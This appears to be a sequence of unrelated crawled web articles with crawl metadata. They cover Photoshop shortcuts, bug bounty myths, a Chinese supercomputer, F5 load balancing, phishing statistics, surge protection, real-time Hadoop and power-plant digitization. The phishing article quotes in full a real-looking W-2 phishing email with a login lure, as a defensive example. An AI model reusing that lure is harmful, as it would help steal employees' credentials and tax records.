To explain this better, if you modify image size, the original image is either shrunk down or blown up. If you modify a canvas size, spacing is either added onto the outside of the original image, or part of the original image is cut off.
Here is an example of the same image above but dropped the image width to 1200 pixels (shown at 33% size) using the image properties:
This is the same image dropped to a width of 1200 pixels but using the canvas properties:
Step backward - control+alt+Z
This keyboard shortcut steps the image backward, thereby undoing the last change applied to an image. Stepping backward is very different than undo, which can also be used in Photoshop. However, once the difference is explained you will see why stepping backwards is so helpful.
Using the undo action in Photoshop removes the last change you made to an image. For example, imagine you resized an image smaller. The undo action will resize the image to its state before you resized it - making it bigger. Hitting undo again will undo what you just did - and will resize the image to its original state before you resized it and so on forever. Ultimately, using undo multiple times toggles between undoing something and undoing the undo. The ultimate result is you really do not go backwards more than a single change.
However, if you need to revert an image back several changes, you would want to use the step backward function so that you remove something you did. Then, each supplementary time you step backwards, changes made to the image will also be removed, in chronological order from most recent to the very first change.
As you can see, keyboard shortcuts are a great way to save time, and there are more available than any one person could probably use or remember. When used effectively, they are not only convenient, but save creative time and erase accidental mistakes. They can also provide you with a great deal of information that can otherwise be challenging to locate.
As always, knowing which keyboard shortcuts to use with different programs can save lots of time and energy! | <urn:uuid:4031eb2a-559e-4526-8b50-d17b320dbb39> | CC-MAIN-2022-40 | https://blogs.eyonic.com/5-lesser-known-keyboard-shortcuts-for-common-programs-you-should-be-using/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338073.68/warc/CC-MAIN-20221007112411-20221007142411-00536.warc.gz | en | 0.921185 | 1,735 | 2.640625 | 3 |
Cybersecurity attacks continue to rise not only in numbers but in sophistication and complexity. A data breach that violates GDPR could involve a fine of up to €20 million, or up to 4% of the annual worldwide turnover. Understandably, 40% of CEOs are very nervous about being the next victim of a hacker attack according to a PWC CEO Survey Report.
The odds are in favour of the attackers who only need to exploit a single security flaw to compromise an entire organization. By contrast, security teams are tasked with defending against all potential vulnerabilities with heavily constrained resources, unlike hackers.
A quick look at any news story will feature a stereotypical image of a hacker in a hoodie hunched over a keyboard with a binary code background. This outdated image is just one of many dangerous myths that are not helpful to businesses attempting to remove critical security vulnerabilities.
Ethical hacking paved the way for so-called bug bounties as companies of all sizes turned to crowdsourcing in a bid to combat hackers. Public bug bounty programs are widely used to enhance security defences and mitigate vulnerabilities. Some businesses go as far as challenging hackers to find a bug on a site.
The only certainty is that security teams are resource-constrained, and hackers aren't. As for bug platforms, there are many myths and misconceptions that need to be retired.
1. Bug bounty programs must be public
Tech giants such as Google, Facebook, and Microsoft are often credited with revolutionizing application security with public bug bounty programs. But attitudes and approaches have evolved over the years. Contrary to popular opinion, the majority of bug bounty programs are actually private. For example, 80% of HackerOne programs consist of invitation-only bug bounty initiatives.
Most organizations now prefer the safety and anonymity of a private program where they can master the vulnerability handling process. Rather than the loud and brash approach of inviting the world to hack their business, private models offer a more sensible entry point to try out a bug bounty program for the first time.
A smaller group of skilled individuals can be invited based on their experience, specialist skills, and location. The much more discreet option is often completed without any fanfare or external recognition. For many businesses, ethical hacking is a journey, not a destination. Public bug bounties have huge additional benefits too, but it's seldom the first step for an organization.
2. Bug bounties are only for tech companies
Sure, it was the world's biggest tech companies that helped popularize the bug bounty model. But there is an argument that every business is a tech company in this increasingly digital world where remote working has become the new normal. As a result of these changes, the model has evolved to fit traditional organizations and industries too.
According to BugCrowd, everyone from financial services companies to government entities has taken part in private bug bounty programs. Traditional organizations, from financial services companies to government entities have engaged in private programs in recent years. Even the EU announced that it would be funding bug bounty programs for 14 open source projects last year.
It would be foolhardy at best for traditional industries to immediately showcase its vulnerabilities in a virtual public arena. Once again, private bug bounty programs offer a halfway house that is competitive but in a much more controlled environment.
3. Trusting hackers is a risky business
The prospect of inviting hackers to exploit vulnerabilities to your business can feel incredibly daunting. Why would you risk inviting trouble to your company? But there is a counter argument that burying your head in the sand is possibly the worst thing that you can do. Security is a journey, not a destination, and accountability is possibly one of your biggest weapons against the bad guys.
We know with certainty that vulnerabilities, risks, and hacks are continuing to rise. The continuous updating of security policies, procedures, and awareness programs are critical. When tasked with lowering risk in an organization, being vulnerable online far outweighs the dangers of being associated with running a bug bounty program.
Security research should be seen as an opportunity to unlock valuable insights by daring to explore unknown vulnerabilities. It's time to retire the outdated concept of hoodie-wearing hackers and baseless paranoia. In a controlled environment, these modern security researchers can help your organization by fixing flaws and reducing risk than hurting it.
4. Bug bounties are a replacement for penetration testing
It's true that internal testing alone is not the answer. Unfortunately, there isn't a silver bullet or off the shelf solution. But every business will require a wide range of tools at their disposal. Traditionally, a company will turn to penetration testing and automated vulnerability scans for a set fee, which will need to be paid even if they don't detect any vulnerabilities.
By contrast, bug bounty programs often only reward ethical hackers if they find relevant vulnerabilities. Businesses will determine precisely what white hat hackers will test and how much money they will pay for uncovering security flaws. Many will see this as a much more cost-effective solution.
The reality is that neither penetration testing or bug bounty programs have the power to uncover every potential risk and vulnerability. Together, they can complement each other as part of a unified approach to cybersecurity focused on lowering risk and removing security flaws.
Rewarding a crowdsourced team for finding security flaws will probably need you to upgrade your corporate thinking. But having a group of hackers working on your behalf, rather than against you, can create more opportunities to boost your security and reduce risk in a more proactive approach against the real bad guys. | <urn:uuid:e1a3b1a0-3612-446c-819a-c0fd098614ab> | CC-MAIN-2022-40 | https://cybernews.com/security/busting-myths-around-bug-bounty-platforms/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334942.88/warc/CC-MAIN-20220926211042-20220927001042-00736.warc.gz | en | 0.953925 | 1,115 | 2.90625 | 3 |
The new titleholder, the Sunway TaihuLight at the National Supercomputing Center in Wuxi, was developed by China’s National Research Center of Parallel Computer Engineering & Technology.
The supercomputer uses Chinese-developed ShenWei processors,“ending any remaining speculation that China would have to rely on Western technology to compete effectively in the upper echelons of supercomputing,” said a statement by the TOP500 project ranking the world’s fastest supercomputers.
It is capable of 93 petaflops, or quadrillion calculations per second, according to TOP500.
It was designed for use in engineering and research, including in the fields of climate, weather, life sciences, advanced manufacturing, and data analytics.
The TaihuLight will be introduced at the International Supercomputing Conference in Frankfurt, Germany, on Tuesday.
“As the first No. 1 system of China that is completely based on homegrown processors, the Sunway TaihuLight system demonstrates the significant progress that China has made in the domain of designing and manufacturing large-scale computation systems,” Guangwen Yang, director of the Wuxi center, was quoted as saying in the TOP500 statement.
Other countries with computers in the Top 10 were Japan, Switzerland, Germany, and Saudi Arabia.
In addition to beating out US computers, China also surpassed the US for the first time as the country with the most supercomputers in the top 500.
China had 167 systems and the US had 165.
Japan took third place with 29 systems.
China’s developments serve as evidence of dwindling US dominance in the field, with TOP500 organizers saying:“Considering that just 10 years ago, China claimed a mere 28 systems on the list, with none ranked in the top 30, the nation has come further and faster than any other country in the history of supercomputing.”
Defined as a computer that performs at or near the highest operational rate for computers, supercomputers are one of a series of technologies being used by China’s ruling Communist Party for development.
The technologies have received huge financial support in the country. | <urn:uuid:df3fd1ce-d9a3-43a9-946c-b320727c017d> | CC-MAIN-2022-40 | https://debuglies.com/2016/06/21/china-creates-worlds-fastest/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334942.88/warc/CC-MAIN-20220926211042-20220927001042-00736.warc.gz | en | 0.956285 | 448 | 2.9375 | 3 |
F5 Load Balancing Methods
Load balancing is an essential part of F5 BIG-IP as it is meant for automatic balancing and distributing traffic across real physical servers, In fact, this feature was the indispensable part of F5 when it initially started.
F5 BIG-IP uses various types of algorithms or methods to determine the server/application to which traffic will be sent.
There are several types of algorithms/methods an F5 box can use depending on an array of factors (Nature of the application/ Hardware availability) to balance the load across real servers.
This primary intent for load balancing is the same i.e. to provide higher availability of the applications with greater performance and better end-user experience.
F5 Load Balancing Methods –
Below diagrams represent Algorithm or Load Balancing Methods which are used as per the requirement and availability of hardware and type of applications.
Round Robin: – This algorithm/Method is designed to equally distributed load across all the pool members (Real Servers).
It is also the default load-balancing method. This load balancing method is generally used when we have equal hardware such as Processor, CPU, RAM, and Memory in the real servers.
Ratio: – This algorithm/Method allows us to set ratio weights accordingly to the capacity of the real servers. Traffic gets load balanced accordingly to the ratio weights set on the server.
Suppose we are having 3 servers, on each server ratios are assigned accordingly to the hardware capability of the servers. If 1st server is assigned a ratio of 3 then 1st three connections go to that server and so on.
This type of method is mostly used when our servers are not having similar capabilities.
Least connections: – In this algorithm/method, requests are forwarded to the server which has the least number of active/open connections. This method is used when we have servers of similar capabilities such as same Processor, CPU, RAM and memory.
Fastest: – In this algorithm/ method, any new request will go to the server who’s processing layer 7 connections are fastest or next request goes to the server who is having least outstanding layer 7 requests. This type of algorithm is useful where nodes are distributed across separate networks.
Observed: – This method is like ratio but here ratio is not manually assigned to the server. F5 BIG-IP defines the higher ratio to the server who is having lower than the average layer 4 connections and lower ratio to the server who is having higher than the average connections.
Predictive: – In this method, various things are measured before sending any request to the server. It measures the time which a server is taking to progress the request or replying back to the client and also calculates a dynamic ratio value based on the number of L4 connections to each server.
Dynamic Ratio: – This method monitors almost all the server components like CPU, Memory and Processor. Suppose we have 3 servers and 1st server’s CPU is only utilized 30% and its memory 10% and 2nd server CPU is utilized 50% and its memory 30% and the 3rd server CPU is utilized 60% and its memory 40%.
Accordingly to these calculations, F5-BIG-IP will assign ratios to the server. Here the 1st server is assigned ratio 3, whereas the 2nd server is assigned ratio 2 and 3rd is assigned ratio 1.
The ratio is assigned according to the availability of CPU/Memory/Processor.
Priority group activation: – This type of method is commonly used where we have a primary and secondary setup of servers where a primary group of servers are having a higher priority than the set of servers those are a part of the secondary setup.
Accordingly, F5 sends higher priority requests to primary servers as per the LB method applied. Priority group activation allows defining threshold/value for eg.
Less than equal to 2, which means don’t use secondary servers unless and until 2 servers in the primary setup are available.
Related- F5 WAM in BIG IP
Fallback Host (HTTP):- In this method, if all the servers fail, then the client can be sent to HTTP redirect.
Suppose the servers are under maintenance or some disaster has occurred, instead of getting page can’t be displayed, the client will be redirected to alternate site (secondary site/DR site) or else they will get msg like ”servers are unavailable or under maintenance and will get available after 2 hours”.
Related- F5 LTM Interview Questions | <urn:uuid:f5237df8-6399-42f5-b684-e643458b6a1f> | CC-MAIN-2022-40 | https://ipwithease.com/load-balancing-methods-in-f5-big-ip/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334942.88/warc/CC-MAIN-20220926211042-20220927001042-00736.warc.gz | en | 0.932505 | 935 | 3.0625 | 3 |
State of the Phish: Protecting Against Increasing Phishing Attacks
The 2016 State of the Phish Report from Wombat Security found that 85 percent of respondents reported being the victim of a phishing attack in 2015, a 13 percent increase from 2014.
The top ten industries in the report hailed from finance, manufacturing, healthcare, technology, education, government, energy, transportation, professional services and retail, showing how phishing attacks can strike every industry.
Phishing attacks can target any organization or individual with an online account or application login that requires a set of credentials, making them a fast, easy, low-tech and effective way to gain legitimate access to sensitive information. Phishing emails will direct users to a credible-looking website to enter their credentials or other sensitive information, sending the data to online criminals.
However, the report also warns that phishing attacks aren’t only email-based, but can often be preceded by social engineering phone calls. Fifty-five percent of companies have experienced phishing through phone calls and SMS messaging.
Of course, it’s not just the phish that matters, but what happens as a result. Organizations report that they suffered from malware infection as a direct result of phishing (42 percent). Another 22 percent report that they experienced compromised accounts as a direct result of phishing.
How does this happen?
- An attacker may send a phishing email to a targeted user with a malicious attachment. When the user clicks on the attachment, they download a malware executable that infects their machine and attempts to exploit any known vulnerabilities in order to gain access to their organization’s network.
- Or, the user clicks on a link in the email that directs them to a malicious website that delivers a malware payload.
- Or, worse yet, the user clicks on a link, directing them to a spoofed website that appears to be a login page, and then enters their credentials. Their username and password are sent to an attacker’s command and control server, which are then used to log into the user’s company email or applications.
The cost of a phishing incident to a business includes lost productivity for employees (44 percent), the impact of the loss of proprietary business information (36 percent), and the damage to a company’s reputation (20 percent).
The actual estimated cost of phishing for a 10k-employee company is $3.8 million, with expenses related to malware, productivity hits and credential compromises.
Quick Phish-Free Tips
Here’s a few quick tips from the report and Duo for end users on how to avoid becoming the victim of a phishing email attack:
- Never give out your password or username via email
- Don’t log into websites via links sent to you in an email
- Pay attention to the sender of the mail - do you recognize their name and email address?
- Question if the tone is consistent with what you’d expect from the sender, and if the email conveys a sense of urgency or contains a call-to-action
- Be cautious whenever an email asks you to open an attachment or access a website
- Verify the authenticity of the email by contacting the sender in a way other than email - call, or, better yet, talk to them in person or over video conferencing
Another aspect of risk evaluation is which plugins are most vulnerable, that is, which ones are typically out of date. This can give organizations insight into their susceptibility to an attack. The report found that Adobe PDF Reader was outdated 61 percent of the time, while Adobe Flash followed at 46 percent. Microsoft Silverlight was next at 27 percent, and Java last at 25 percent.
Tax Records Exposed in Phishing Email Scam
The tax season is a prime time for phishing attacks. Just a few weeks ago, nearly 500 Wisconsin state employees fell for a phishing email scam that resulted in compromised tax records for 50 employees.
The email linked to a spoofed landing page, a replication of the Department of Human Resources website. The website urged employees to click on link to give them access to W-2 information, exposing names, addresses, Social Security numbers and bank account numbers to the attacker.
Below is an example of the email:
From: ESSW2@vermont [mailto:email@example.com]
* Sent: Thursday, January 21, 2016 10:58 AM*
Subject: IMPORTANT TAX RETURN DOCUMENT AVAILABLE
Dear Account Owner,
Our records indicate that you are enrolled in the Vermont State paperless W2 Program. As a result, you do not receive a paper W2 but instead receive e-mail notification that your online W2 (i.e. “paperless W2”) is prepared and ready for viewing. Your 2015 W2 corrected statement is ready for viewing, follow the link below
Click Here to Login
To opt out of the Paperless W2 Program, please login to Employee Self Service at the link above and go to the W2 Delivery Choice webpage and follow the instructions.
Vermont State’s Human Resource Management Systems
Unfortunately, employees clicked on the link and exposed sensitive tax record information. To avoid falling for similar emails, don’t click on the link and ask your HR dept. if they really did send you important tax returns.
Log into your HR portal by typing the URL directly into the address bar of your browser and protect your account with two-factor authentication. That way, you can ensure malicious hackers can’t log into your accounts without possessing your physical authentication device - a smartphone. Learn more about Duo’s two-factor authentication mobile app, Duo Mobile.
Organizations can further protect their business-critical applications by enabling Duo Access, which combines two-factor authentication with endpoint analysis. That means, administrators can collect, analyze and export reports on your users’ devices, including which ones are running outdated browsers or plugins like Flash - all without the use of agents.
Use the data to enable a policy to allow your users to update their own devices, or create a policy to block all outdated devices from accessing your network, protecting from malware and associated vulnerabilities. Learn more in our Two-Factor Authentication Evaluation Guide. | <urn:uuid:a1148444-a9e0-406e-b8cd-aaf890edf1a4> | CC-MAIN-2022-40 | https://duo.com/blog/state-of-the-phish-protecting-against-increasing-phishing-attacks | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335124.77/warc/CC-MAIN-20220928051515-20220928081515-00736.warc.gz | en | 0.916661 | 1,304 | 2.65625 | 3 |
Thunderstorms are a big deal, which stands out as especially dangerous in the Annual Lightning Report’s official list of states with the most lightning strikes. In 2018, for example, 2,483,805 negative cloud-to-ground flashes occurred in the state. San Antonio, in particular, tends to be hit hard, with one especially intense storm in June 2019 prompting an astounding 3,500 strikes.
Many San Antonio residents are well aware of the prevalence of lightning in their hometown – as well as the need for caution. But while most know how to keep themselves safe, many fail to give their technology the same level of protection. Of course, physical safety is of paramount importance, but tech issues can cause significant financial and emotional devastation, too.
Let’s take a closer look at the many risks lightning poses for San Antonio computers – and how residents and business owners can use surge protection and Uninterruptible Power Supply (UPS) to protect critical systems and data.
How Storms Can Harm Your PC
Severe weather conditions pose several risks for your computer and other equipment. First, lighting strikes may hit the electrical grid, prompting power surges. Even more alarming, however, might be the long-term power outages that commonly accompany these storms. Lightning is not needed for outages to occur; wind, hail, and heavy rain can all halt the much-needed power in your home. When such outages happen, your PC could be vulnerable to a whole host of problems, including disappearing files and corrupted data.
How Does UPS Help?
UPS minimizes the potential for power issues with your computer, especially in the aftermath of a storm. This solution essentially consists of an oversized surge protector and includes a built-in battery. If you plug your computer into the UPS, it will continue to run in the event of an outage. How long it runs will depend largely on the size of the battery and the amount of power your PC requires. Some UPS solutions are purely designed to accommodate short-term outages, while others are equipped to handle longer periods without power.
Surge Protector Versus UPS (And Why You Should Use Them Together)
Many home and business owners already use surge protection to keep their devices safe. This is an important first step, but it may not prove sufficient when used alone. After all, outages pose as much of a risk to your data as power surges.
An ideal approach will integrate both surge protection and UPS. Neither of these methods may be enough to keep your computer safe on their own. However, together, they can provide a valuable element of protection. Surge protector power strips provide an initial barrier capable of handling not only lightning strikes but also electrical issues that may occur even when the weather is perfect. Meanwhile, UPS provides secondary protection, ensuring that the devices within your home or business continue to run if power is unavailable.
Should I Unplug My Computer During a Thunderstorm?
While surge protectors and UPS can provide much-needed protection during inclement weather, it never hurts to take extra steps to keep your computer safe. Unfortunately, data loss can occur even if you make a point of using these methods at all times. If the weather forecast suggests lightning or thunder, it’s best to turn off and unplug your computer sooner than later. Likewise, you should plan to keep all computers unplugged if you will be away from your home or place of business for more than a day or two. Storms can pop up at any time – and if you’re not around to unplug your computer, the results could be devastating. No matter your location, you should never actively use a computer during a lightning storm. In doing so, you could place both your computer and your life at risk.
Why It’s Important to Back Up Your Data
UPS dramatically reduces the potential for lost data, but it won’t eliminate all risk. Even if your UPS is equipped with an exceptional battery, a long-term power outage could ultimately cause your computer to shut down. That’s why preparation for the worst-case scenario is essential. This can be accomplished through data backup, which allows you to complete a quick restore. By investing in a robust data backup solution, you can rest assured that your most sensitive data remains safe, even during a storm.
A proactive approach is essential as you prepare for storm season in Texas. As a San Antonio resident or business owner, it’s not a matter of if you will lose power, but rather, when. The sooner you invest in surge protection, UPS, and data backup, the better. You’ll never regret taking the steps needed to keep your devices and data safe. NerdsToGo offers expert data backup and recovery services in San Antonio.
Trusted Computer Repair Services
If you’re ready to move forward with securing your computer and its data, don’t hesitate to get in touch with the talented team at NerdsToGo. We offer a variety of services designed to help you mitigate the worst aspects of the Texas storm season. Our Nerds will happily assist you with surge protector installation and provide any additional in-home computer services that you might need. In the event of an outage, we can deliver the necessary fixes to get your home or business back on track. Rain or shine, NerdsToGo can help! Contact us today to learn more about our installation and repair services. | <urn:uuid:85a63162-12ed-4a74-b45e-f5c8249d67e0> | CC-MAIN-2022-40 | https://www.nerdstogo.com/blog/2019/september/the-importance-of-surge-protection-and-ups-durin/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335355.2/warc/CC-MAIN-20220929131813-20220929161813-00736.warc.gz | en | 0.937733 | 1,113 | 2.546875 | 3 |
Typically, issues of data storage capacity and data processing power can be solved with a huge checkbook and a traditional relational database; but today’s biggest database innovations are coming from smaller players who are building modern data architectures on platforms like Hadoop, that are designed to cost-effectively handle petabytes of data by scaling out on commodity hardware.
Scaling Out the Internet of Things
The Internet of Things application examples illustrate the value that multiple streams of up-to-the-second data can have when paired with historical data in an application. This requires a database with solid scalability, performance and integration. There are several ways to power a database that meets these requirements such as traditional RDBMSs, Hadoop and now, real-time Hadoop.
Traditional RDBMS: Fully capable, but at great cost
At one end of the cost continuum are traditional relational databases such as Oracle or IBM DB2 that run on expensive, specialized hardware and can be scaled up with more compute power to handle just about anything an application can throw at them. Due to costs, systems like these are out of reach for many small and mid-size enterprises, let alone startups that are building applications or devices that need to handle potential large volumes of data. Even large enterprises are chaffing under the cost of scaling up their trusted legacy databases to handle data volumes that could hardly be conceived of twenty years ago.
Hadoop: Affordable, scalable but over its head
At the other end of the spectrum are solutions built on Apache Hadoop, an open source framework for the distributed storage and processing of data. Hadoop is great at scaling out on commodity hardware, giving users the ability to grow system capacity in an affordable manner. However, off-the-shelf Hadoop falls short when it comes to real-time processing of data, as it was built as a batch processing analytics system. Users can only tap into data post-processing, meaning that they’re dealing with data that can be minutes, hours, or days old.
Real-Time Hadoop: Powering up Hadoop for new challenges
When discussing the previous use cases along with other solutions built on the Internet of Things, working with real-time data is a critical piece of the equation. Because of its popularity as a big data platform, there’s a desire to get more from the Hadoop framework, and the data contained within. This has been a driving force for the creation of tools that are designed to go beyond batch processing and enable real-time data updates and access with the proven scalability of Hadoop. Some examples include:
- Apache projects like Apache Storm (real-time data processing), Apache Spark (in-memory cluster computing), that enhance the Hadoop stack with new streaming capabilities.
- Transactional RDBMSs on Hadoop that finally allow real-time, concurrent applications to be hosted at petabyte scale affordably. These architectures let IoT applications elastically scale as the cluster grows without taking down the application.
- Leading Hadoop distributors such as MapR, Cloudera and Hortonworks are also working to push Hadoop beyond its traditional batch analytics boundaries to power operational applications that can harness the Internet of Things.
- Leading edge, data-driven companies like Google, Facebook and Salesforce.com have also been improving and extending Hadoop for use inside their infrastructures, with some of the most demanding real-time applications in use today.
Real-time Hadoop has the ability to handle the Big Data demands of the Internet of Things along with the performance needed to create valuable applications that leverage the data. As it continues to grow beyond its batch processing roots, it is well positioned to be the modern platform of choice for powering data-intensive operational and analytic applications that can tap into the 30 billion connected devices of the near future. Perhaps the machines will take over someday, but for now, don’t be surprised to see a little yellow elephant named Hadoop in command.
About the author:
Monte Zweben is co-founder and CEO of Splice Machine. | <urn:uuid:33200476-0cea-41df-a568-54ffe86a6c6d> | CC-MAIN-2022-40 | https://www.dbta.com/Editorial/Trends-and-Applications/Powering-the-Internet-of-Things-with-Real-Time-Hadoop-103469.aspx?PageNum=3 | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335504.37/warc/CC-MAIN-20220930212504-20221001002504-00736.warc.gz | en | 0.937564 | 856 | 2.59375 | 3 |
One of its biggest challenges is testing unstructured data for the software industry’s big data applications. Traditional big data testing for relational database management systems (RDBMS) isn’t a walk in the park, but it’s a mature and well defined process. But testing applications’ unstructured big data is quite challenging.
Experian recently researched the phenomenon of poor data quality in applications and reported that 75% of businesses are wasting 14% of revenue simply due to poor data quality. Evans data Corporation surveyed big data application developers and reported that 19.2% of them said that quality of data is the biggest problem that they consistently face.
What is Big Data
First let’s get our definition straight on what constitutes big data. A common approach is to define big data (or the lack thereof) in terms of the 3V’s of data: volume, velocity, and variety. High volume is the biggest clue but not the only one. Velocity – speed of creation – is critical, as is a wide variety of data types thanks to unstructured data.
Unlike structured data, unstructured data does not have a defined data model. Unstructured data includes social media like Twitter and Facebook, email and chat applications, video and audio files, digital photos, voicemail, call center records, and photos. In these are just human-generated files. Once you get into machine-generated files then you’re talking about massive and fat-growing volumes of data.
What is Big Data Testing?
Big data testing is, in essence, the process of testing data for data and processing integrity, so that organizations can verify their big data. Big data presents big computing challenges, thanks to massive dataset sizes and a wide variety of formats. Investing in big data analytics creates business intelligence – if organizations can trust that intelligence. Hence the importance of big data testing.
The level of difficulty varies widely between testing structured or unstructured big data. Much big data testing is based on the ETL process: Extract, Transform, Load. The Extraction phase extracts a set of test data from structured data applications, usually relationship database management systems (RDBMS). The transformation process is extensive depending on the ETL goal, and includes data verification and process verification for testing purpose. Once the data is successfully transformed, then testers can either move it into a data warehouse or delete the test data.
The big data testing process for unstructured data is a considerably bigger challenge. To see the differences more closely, let’s look at the divide between traditional database testing and unstructured application testing in Hadoop:
|Area||Structured Data Testing||Unstructured Data Testing|
|Data||Relational database schema defines structured data model.
Testers typically use time-tested tools like manual sampling or automated verification.
|Unstructured data presents a variety of data types with no relational database structure.
Testers can use sampling strategics in some types of unstructured data, but quality is an issue.
|Data Environment||Generally limited file sizes do not need specialized testing environments.||The vanety and volume of unstructured data may require specialized infrastructure and file systems.|
|Testing Tools||Tried-and-true testing tools include MS Excel macros or automated testing applications.
Automated testing tools simplify the structured data testing process.
|Tools for testing unstructured data are relatively new,with more being introduced all the time.
Unstructured testing tools reflect the complexity of the job. Learning and administering testing toolsets takes skills and ongoing training thanks to fast upgrades and development.
Big Data Testing for Unstructured Data
Structured and unstructured data testing share the same goals, which are to 1) validate the quality of the data, and 2) validate the data processes. Although some testers use the principles of ETL to describe the unstructured data testing process, the testing tools are entirely different. Unstructured data cannot be contained in relational databases (although may sometimes be contained in NoSQL document databases). And automating unstructured data testing is a requirement: the tools themselves are complex, and the process is very complicated given big data’s volume and the speed of data creation from users and machines.
Big Data Testing Steps
Big data testing for applications does not test individual features, but rather the quality of the test data, and data processing performance and validity. Processing tests may be batch, interactive, or real-time. Data quality tests include validity, completeness, duplication, consistency, accuracy, and conformity.
There are different data testing procedures but the most common explanation involves three major steps: validate data staging, validate testing rules, and validate output. Since the leading testing tool for unstructured big data is MapReduce, you will often see industry experts define stages 2 and 3 as MapReduce testing and output validation.
Step 1: Validate Data Staging
Validating data staging starts with a big data cluster – usually Hadoop, which may be on-premise or in the cloud. Testers then pull in test unstructured data from the source and use automated testing tools to compare source data to staged data. If there is a problem at this point, the test is compromised.
In fact, building and testing the workload environment is critical to running a successful test. Testers cannot properly test verification and performance on a poorly designed and implemented cluster. Set up high-performance and high capacity clusters to run testing workloads, or work with cloud providers to construct testing environments in the cloud.
Step 2. Validate Testing Rules
In Hadoop environments – whether on-premise or cloud – this step validates the MapReduce transformation process for unstructured data. Testing proves that the business rules that aggregate and segregate the test data are working properly.
The test runs node-by-node to verify business logic on each node. A successful test proves that the process is working correctly by implementing data aggregation or segregation rules.
Step 3. Validate Output
This stage validates the tested data and its process. It verifies that Step 2 testing successfully applied business/logic rules, that the tested workload retains data integrity, and that the business/ logic process introduced no data corruption.
When complete, testers were free to move the tested data into a storage system or to delete it from the testing cluster.
Big Data Testing Challenges
This process requires a high level of automation given massive data volumes, and the speed of unstructured data creation. However, even with automated toolsets big data testing isn’t easy.
- Good source data and reliable data insertion: “Garbage in, garbage out” applies. You need good source data to test, and a reliable method of moving the data from the source into the testing environment.
- Test tools require training and skill: Automated testing for unstructured data is highly complex with many steps. In addition, there will always be problems that pop up during a big data test phase. Testers will need to know how to problem-solve despite unstructured data complexity.
- Setting up the testing environment takes time and money: Hadoop eases the pain because it was created as a commodity-based big data analytics platform. However, IT still needs to buy, deploy, maintain, and configure Hadoop clusters as needed for testing phases. Even with a Hadoop cloud provider, provisioning the cluster requires resources, consultation, and service level agreements.
- Virtualization challenges: Few business application vendors do not develop for virtual environments, so virtualized testing is a necessity. Virtualized images can introduce latency into big data tests, and managing virtual images in a big data environment is not a straightforward process.
- No end-to-end big unstructured data testing tools: No vendor toolset can run big data tests on all unstructured data types. Testers need to invest in and learn multiple tools depending on the data types they need to test.
No matter how challenging the big data testing process is, it must be done – developers can hardly release untested applications. There are certain features to look for that make the job easier for both structured and unstructured data testing. Look for high levels of automation and repeatability, so testers do not have to reinvent the data wheel every time, or pause the testing process to research and take manual steps.
And although Hadoop is very popular for structured and unstructured big data, it’s not the only game in town. If testing data resides on different platforms like application servers, the cloud, or NoSQL databases; then look for tools that expand to include them. Also consider testing speeds and data coverage verification, a smooth training process, and centralized management consoles. | <urn:uuid:b3ed3957-318f-4e99-8211-460e90524f53> | CC-MAIN-2022-40 | https://www.datamation.com/big-data/big-data-testing/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337287.87/warc/CC-MAIN-20221002052710-20221002082710-00736.warc.gz | en | 0.901047 | 1,827 | 2.546875 | 3 |
NASA GOLD (Global-scale Observations of the Limb and Disk), a new space mission will investigate the atmosphere in a major zone (between magnetosphere and ionosphere) with the help of a communication satellite, SES-14.
The mission will examine the temperature and the formation of the thermosphere, and the ionosphere, which obtains charged particles and radiation streaming from the sun. The mission will also identify how it influences our everyday life.
According to NASA, the GOLD mission will seek to understand what drives change in this region where terrestrial weather in the lower atmosphere interacts with the tumult of solar activity from above and Earth’s magnetic field.
GOLD mission located in western hemisphere
For the past several years, scientists using ground-based observations and low earth-orbit missions for observing the earth’s upper atmosphere. But, missing the bigger picture.
Now, with the GOLD mission scientists can easily examine ionosphere. While, the mission located in the western hemisphere, it will take a worldwide sweep of the ionosphere and upper climate each half-hour.
The constant monitoring will allow for observations of other phenomena, such as the effects of solar flares, said, Richard Eastes, the mission’s principal investigator at the University of Colorado Boulder.
The mission GOLD is a relatively new level of scientific research and it will work together with ICON (Ionospheric Connection Explorer) is launching this year.
GOLD will capture the global view from 22,000 miles above Earth’s surface. While, ICON will capture a nearer view from 350 miles above Earth, also directly measure the particles. While, GOLD is the NASA’S first science mission to fly an instrument as a commercially hosted payload. | <urn:uuid:5e080e03-3563-46a1-b096-ff581c5ac074> | CC-MAIN-2022-40 | https://areflect.com/2018/01/29/nasa-gold-the-mission-will-study-the-earths-ionosphere/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337421.33/warc/CC-MAIN-20221003133425-20221003163425-00736.warc.gz | en | 0.892773 | 360 | 3.671875 | 4 |
Consultancy giant Capgemini has revealed the findings of a report into the digitization of power plants.
The study, featuring the views of 200 executives in global utility firms, suggests that continued investment in revamping coal and gas-powered plants will increase production and improve efficiency – but much more still needs to be done.
The Digital Utility Plant: Unlocking value from the digitization of production highlights the impact that digital enhancements are having on energy production in power plants reliant on fossil fuels.
It finds that over the past five years, utility companies have invested an average of $330 million in smart plant technology. Capgemini predicts that a similar level of investment will lead to almost one in five power plants becoming ‘digital plants’ by 2025. The result will be a 27 percent reduction in running costs and a 4.7 percent net reduction in global carbon emissions from power generation.
Lowering the cost of energy generation
Utility leaders in China, France, Germany, India, Italy, Sweden, UK and the US are seeing an increase in production efficiency as a result of incorporating digital technology in power plants. The report estimates that smart plants see on average a 27 percent reduction in production costs, with individual plants saving $21 million each year on average.
Renewable energy sources are becoming increasingly competitive, and these savings will keep coal and gas-fired plants operational until a complete transition is made. Smarter plants are helping to strike the balance between meeting the rising global demand for electricity and the need to lower carbon emissions.
More energy, fewer emissions
From an environmental perspective, the Capgemini report offers an optimistic outlook. Digitized power plants can increase the energy produced from fossil fuels while lowering carbon emissions.
The impact of digitized plants is so great that by 2025, it’s estimated that they will annually produce 625 million metric tons fewer carbon emissions compared to traditional plants. That’s equivalent to 28.6 billion more trees on the planet or 133 million fewer passenger vehicles.
A lack of digital maturity
